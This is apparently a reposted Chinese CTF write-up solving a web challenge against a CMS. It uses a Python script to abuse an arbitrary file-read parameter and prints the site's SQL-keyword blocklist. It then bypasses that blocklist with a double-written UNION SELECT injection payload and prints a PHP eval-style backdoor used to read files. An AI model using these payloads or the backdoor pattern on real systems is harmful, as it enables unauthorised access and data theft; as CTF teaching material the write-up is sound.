XCTF-成都

 

下面有一个输入框,在输入框中输入一些SQL语句之后发现没什么用,感觉是需要用SQL注入的方法,但是这么一看应该不是在这里用。在搜索框中又输入1。

这里需要修改user-Agent 但是不知道这里伪造的浏览器是什么,所以暂时先放一下。

点开首页有一个说明CMS。

这里说明了这个网站存在的一些文件。index.php/config.php/passencode.php 还有一个admin表单结构。因此确定了大的方向就是SQL注入。

进入index.php文件看一下

这段代码中还发现了antixss.antinjection即反xss,反SQL注入机制。但存在一个目录列表.about.php

这个网站如何登陆到管理员界面是一个障碍。用Python把文件目录下载出来,因为有一些文件可能被隐藏了。

# -*- coding: utf-8 -*-
import requests
import HTMLParser
import codecs

URL = 'http://cms.nuptzj.cn/about.php?file=%s'
FILE_LIST = ['index.php','say.php','so.php','preview.php','about.php','antiinject.php','antixss.php']
h=HTMLParser.HTMLParser()

for f in FILE_LIST:
    print '[+] Processing file:' + f + '...'
    res = requests.get(URL % f)
    if res.status_code == 200:
        res.encoding = 'utf-8'

        with codecs.open(f,'w+','utf-8') as handle:
            print 'done'
            text = h.unescape(res.text)
            handle.write(text)

读取一下about.php

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <?php
 $file=$_GET['file'];
 if($file=="" || strstr($file,'config.php'))
{ echo "file参数不能为空!"; exit(); }
else
{ $cut=strchr($file,"loginxlcteam"); 
if($cut==false){ $data=file_get_contents($file); 
$date=htmlspecialchars($data); echo $date; }
else
{ echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>"; } }

发现有一个loginxlcteam.php被隐藏了,这个就是我们要找的登陆界面。

看到了登陆页面,试了一下弱类型。用户名admin,admin ' or '1' = '1 #发现都没成功。

在刚才py爬取到的目录中,有一个aitiinjection文件,这个应该是一个反SQL注入的代码,点进去看看。

<?php function antiinject($content){ $keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");
 $info=strtolower($content);
 for($i=0;$i<=count($keyword);$i++){ $info=str_replace($keyword[$i], '',$info); }
 return $info; } ?>

发现这里过滤了注入常用的select,union等字符,因此可用双写,/**/等特殊字符绕过。

发现这里是可以进行绕过的。

因为之前题目中有一个环节已经给出了数据库结构,所以直接可以进行注入得到密码。

soid=-1/**/UNunionION/**/SELselectECT/**/1,usernam=e,userpas=s,4/**/fro=m/**/admi=n

得到admin对应的密码。

102 117 99 107 114 117 110 116 117

这一串数字如果对于程序稍了解一些的话就应该可以猜测这是一串ASCII编码,数字对应字符解码后。

密码:fuckruntu

换到刚才的登陆界面。

用户名:admin

密码:fuckruntu

按提示把源码下载出来。

<?php
$e = $_REQUEST['www'];
$arr = array($_POST['wtf'] => '|.*|e',);
array_walk($arr, $e, '');
?>

代码的大概意思就是用www作为参数,替换原有参数进行操作。就是呃。。。像这样

wtf作为实际参数进行文件读写。了解了工作原理,查看一下后台文件。

虽然出现了乱码,但还是能猜测到最后一个文件应该是关于flag的文件,换编辑器打开这个文件。

最后进入这个文件,得到答案。

这个题作为压轴题在比赛中非常的综合,不得不佩服长亭科技出题的能力。

猜你喜欢

转载自www.cnblogs.com/sylover/p/10668224.html